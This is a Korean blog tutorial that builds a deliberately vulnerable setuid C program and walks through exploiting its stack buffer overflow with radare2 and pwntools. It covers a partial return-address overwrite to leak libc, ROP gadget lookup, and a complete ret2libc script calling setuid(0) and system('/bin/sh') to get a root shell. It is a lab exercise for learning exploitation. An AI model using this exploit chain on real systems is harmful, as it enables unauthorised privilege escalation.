리눅스 유저랜드 익스플로잇 개발 기초

안수현·2022년 3월 25일
1
post-thumbnail

준비할 것

이 글은 버퍼 오버플로와 보안에 대한 배경지식이 있다는 가정하에 쓰여진 글이지만 가능한 한 쉽게 이해하고 따라할 수 있도록 쓰기 위해 노력했습니다. 또한, 여기서는 radare2 도구를 활용하여 리버싱을 하였는데, 사용할 줄 모른다면 이번 기회에 배워보는 것도 좋을 것입니다.

칼리 리눅스 환경에서 /vuln 경로에서 테스트 되었으며, 세부적인 환경이 달라지면 익스플로잇 코드는 그대로는 작동하기 어려울 수 있습니다. 하지만 공격 과정은 유사합니다.

혹시 칼리 리눅스나 radare2가 뭔지 모른다면 여길 참고하면 된다.
칼리 리눅스를 시작해보자! 칼리 리눅스 설치!
Radare2 설치 및 사용 방법 총 정리

이제 공격할 대상 프로그램과 익스플로잇 작성에 필요한 환경을 구축해야 합니다. 우선, 칼리 리눅스에 pwntools 등의 도구를 설치해야 합니다.

# apt install pip -y
# pip install pwntools

성공적으로 설치되었다면 공격할 대상 프로그램을 작성할 차례입니다.

#include <stdio.h>
#include <unistd.h>

int main(void) {
	char buf[80] = {0, };
	read(0, buf, 1024);
	puts(buf);
	return 0;
}

위의 코드를 /vuln 경로에 vuln.c 라는 이름으로 저장해준 다음 컴파일하고 setuid 권한을 부여해주면 됩니다. setuid 권한은 해당 프로그램이 실행자가 아닌 소유자의 권한으로 실행되도록 하기 위한 것입니다. 만약 기본적으로 SSP(스택 보호기)가 활성화되도록 되어 있다면, -fno-stack-protector 옵션을 추가하여 해제합니다. 해당 보호 기법이 켜져 있을 경우, 카나리(스택이 손상되었는지를 판단하는 값) 값이 중간에 추가되기 때문에 카나리도 유출시켜야 합니다.

# mkdir /vuln
# cd /vuln
# vim vuln.c
# gcc vuln.c –o vuln
# chmod 4755 vuln

취약점 찾기

# python -c "print('A' * 1024)" | ./vuln

위의 명령어를 입력하면 segmentation fault 가 발생함을 확인할 수 있습니다. 또한 소스 코드를 살펴보아도 buf 변수의 크기 80바이트보다 훨씬 큰 1024 바이트를 read 함수로 입력을 허용하고 있기 때문에 버퍼 오버플로에 취약하다는 사실을 쉽게 알 수 있습니다.

char buf[80] = {0, };
read(0, buf, 1024);

보호 기법이 없다면 신경쓸게 없는 문제이지만, 보호 기법이 걸려 있다면 read 함수와 같이 널 바이트 입력이 가능한 입력 함수나 memcpy 함수와 같이 널 바이트도 복사하는 복사 함수로 인해 버퍼 오버플로가 발생하고 puts 함수와 같이 주소를 유출시키는게 가능한 함수가 오버플로된 메모리에 접근할 수 있는 경우에 익스플로잇이 쉬운 편입니다.

공격할 계획 세우기

위의 명령어를 입력하여 보호 기법을 확인하면 다음과 같이 적용된 보호 기법을 확인할 수 있습니다. 확인해 보면 SSP(canary 카나리가 false 로 되어 있다.)가 꺼져 있어서 카나리 값을 유출시킬 필요는 없으며, DEP(nx 비트가 true 로 되어 있다.)가 켜져 있기 때문에 쉘 코드를 이용한 익스플로잇이 제한됩니다. 또한, 64 비트 프로그램이라는 사실도 확인할 수 있으며, 64 비트 환경에서는 함수를 호출할 때 6개까지의 인자를 rdi, rsi, rdx, rcx, r8, r9 순으로 입력받기 때문에 이를 통해 ROP 기법으로 함수 호출에 필요한 레지스터를 구성해야 함을 알 수 있습니다.

# rabin2 -I vuln
arch     x86
baddr    0x0
binsz    14185
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Debian 11.2.0-13) 11.2.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
nx       true
os       linux
pic      true
relocs   true
relro    partial
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

여기서는 ASLR(무작위로 주소를 배치하는 보호 기법) 이 켜져 있는 것을 가정하고 익스플로잇을 작성할 것입니다. 익스플로잇의 과정은 다음과 같이 설계할 수 있습니다.

  1. 함수의 복귀 주소의 바로 앞까지 덮어씌웁니다.
  2. 함수의 복귀 주소의 맨 뒷 자리를 적절히 덮어씌워서(부분 덮어쓰기) __libc_start_main에 있는 main 함수를 호출하는 부분으로 복귀하도록 하여 한번 더 입력을 수행할 수 있도록 합니다.
  3. NULL 바이트가 중간에 없도록 덮어씌웠기 때문에 puts 함수의 출력을 통해서 함수의 복귀 주소를 파악할 수 있습니다. 다만 덮어씌운 부분은 덮어씌운 내용으로 나오기 때문에 주의해야 합니다.
  4. 유출한 주소를 바탕으로 함수의 주소를 파악하고 이렇게 파악한 주소를 이용하여 다음과 같이 스택을 구성하여 RTL 공격을 수행합니다.

setuid(0)를 호출하는 부분

pop rdi 가젯의 주소
\x00\x00\x00\x00\x00\x00\x00\x00
setuid 함수의 주소

system(“/bin/sh”)를 호출하는 부분
pop rdi
/bin/sh 문자열의 주소
system 함수의 주소

필요한 주소 확인

이제 여기에 필요한 각 주소를 확인해야 합니다. 우선 다음 명령어를 이용하여 일시적으로 ASLR을 해제하여 보다 쉽게 주소를 계산할 수 있도록 합니다.

# echo 0 > /proc/sys/kernel/randomize_va_space

그리고 다음의 명령어로 radare2 로 디버깅을 시작하고 중단점을 설정하고 실행시킵니다.

# r2 –d vuln
[0x7ffff7fcd050]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x7ffff7fcd050]> pdf @main
...
0x5555555551c8      c9             leave
...
[0x7ffff7fcd050]> db 0x5555555551c8
[0x7ffff7fcd050]> dc
hello
hello

hit breakpoint at: 0x5555555551c8

위와 같이 leave 명령어가 실행되는 위치에 중단점을 잡고 이후에 계산하기가 조금 더 편합니다.

[0x5555555551c8]> pxr @rbp
0x7fffffffe380 ..[ null bytes ]..   00000000 rbp
0x7fffffffe388 0x00007ffff7e0f7ed   ........
...
[0x5555555551c8]> dmi
0x555555554000 0x555555555000  /vuln/vuln
0x7ffff7de8000 0x7ffff7e0e000  /usr/lib/x86_64-linux-gnu/libc-2.33.so
0x7ffff7fcc000 0x7ffff7fcd000  /usr/lib/x86_64-linux-gnu/ld-2.33.so

위와 같은 병령어를 통해서 라이브러리의 시작 주소와 복귀 주소 간의 거리를 계산할 수 있습니다. 다만 여기서는 맨 뒤 바이트를 버리기 때문에 맨 뒤 바이트를 빼고 계산합니다.

0x7ffff7e0f7 - 0x7ffff7de80 = 0x277(631) 가 됩니다.

[0x5555555551c8]> dmi libc system
[Symbols]

nth  paddr      vaddr          bind   type     size     lib     name
―――――――――――――――――――――――――――――――――――――――――――――――――――――
1467 0x00049850 0x7ffff7e31850 WEAK FUNC    45              system

이렇게 system 함수의 주소를 구할 수 있습니다. paddr 부분만 확인해도 됩니다. setuid 함수도 확인하고, __libc_start_main 함수의 경우 vaddr 부분을 확인합니다.

setuid paddr: 0x000cb160
__libc_start_main vaddr: 0x7ffff7eb3160

여기에서는 위와 같았습니다. 환경에 따라 다를 수 있습니다. 다음과 같이 부분 덮어쓰기를 할 값을 찾습니다. 시도하면서 되는 값을 찾아봐야 합니다.

[0x5555555551c8]> pd @0x7ffff7e0f720
...
      ┌───< 0x7ffff7e0f767      7414           je 0x7ffff7e0f77d
...

여기에서는 위의 값을 이용하면 작동하였습니다. 이제 ROP 가젯과 /bin/sh 문자열의 주소를 파악해야 합니다. 다음과 같은 명령어들을 입력하여 구할 수 있습니다.

[0x5555555551c8]> e search.in = dbg.maps
[0x5555555551c8]> 0x7ffff7de8000
[0x7ffff7de8000]> / /bin/sh
...
0x7ffff7f70962 hit0_0 .cempty == 1-c/bin/shexit 0MSGVERB.
[0x7ffff7de8000]> /R pop rdi
...
  0x7ffff7e1b549                 5f  pop rdi
  0x7ffff7e1b54a                 c3  ret
...

이렇게 구한 주소와 라이브러리 시작 주소와의 거리를 구해야 합니다.

/bin/sh 0x7ffff7f70962 - 0x7ffff7de8000 = 0x188962
pop rdi 0x7ffff7e1b549 - 0x7ffff7de8000 = 0x33549

익스플로잇

필요한 주소를 준비했다면 다음과 같이 익스플로잇을 작성할 수 있습니다.

#!/usr/bin/python3
from pwn import *

#/vuln/vuln 파일 열기
p = process("/vuln/vuln")

# 라이브러리 시작 주소 유출
p.send(b'A' * 88 + b'\x67')
p.recvuntil(b'A' * 88 + b'\x67')
base = p.recv(5) + b'\x00\x00\x00'
base = u64(base)
base -= 0x277
base *= 0x100
p.read(1024)

# 유촐된 주소를 바탕으로 주소 계산
_rdi = base + 0x00033549
_uid = base + 0x000cb160
_bin = base + 0x00188962
_sys = base + 0x00049850


# 페이로드 준비
buf = b'A' * 88
buf += p64(_rdi)
buf += p64(0x00)
buf += p64(_uid)
buf += p64(_rdi)
buf += p64(_bin)
buf += p64(_sys)

# 페이로드 전송
p.send(buf)
p.read(1024)

# 대화 모드로 전환
p.interactive()

# 파일 닫기
p.close()

이제 다음 명령어로 파이썬 스크립트에 실행 권한을 주고 ASLR을 다시 켜주고 일반 유저로 전환합니다. 사용자 이름은 환경에 따라 다르기 때문에 일반 사용자 권한만 가진 사용자로 변경하면 됩니다.

# chmod 755 exploit.py
# echo 2 > /proc/sys/kernel/randomize_va_space
# su kali

이제 익스플로잇 스크립트를 실행시키면 성공적으로 root 권한이 탈취됩니다.

$ ./exploit.py
[+] Starting local process '/vuln/vuln': pid 4301
[*] Switching to interactive mode
$ whoami
root

긴 글 끝까지 읽어 주셔서 정말 감사합니다.

profile
초보 해커의 생존기

0개의 댓글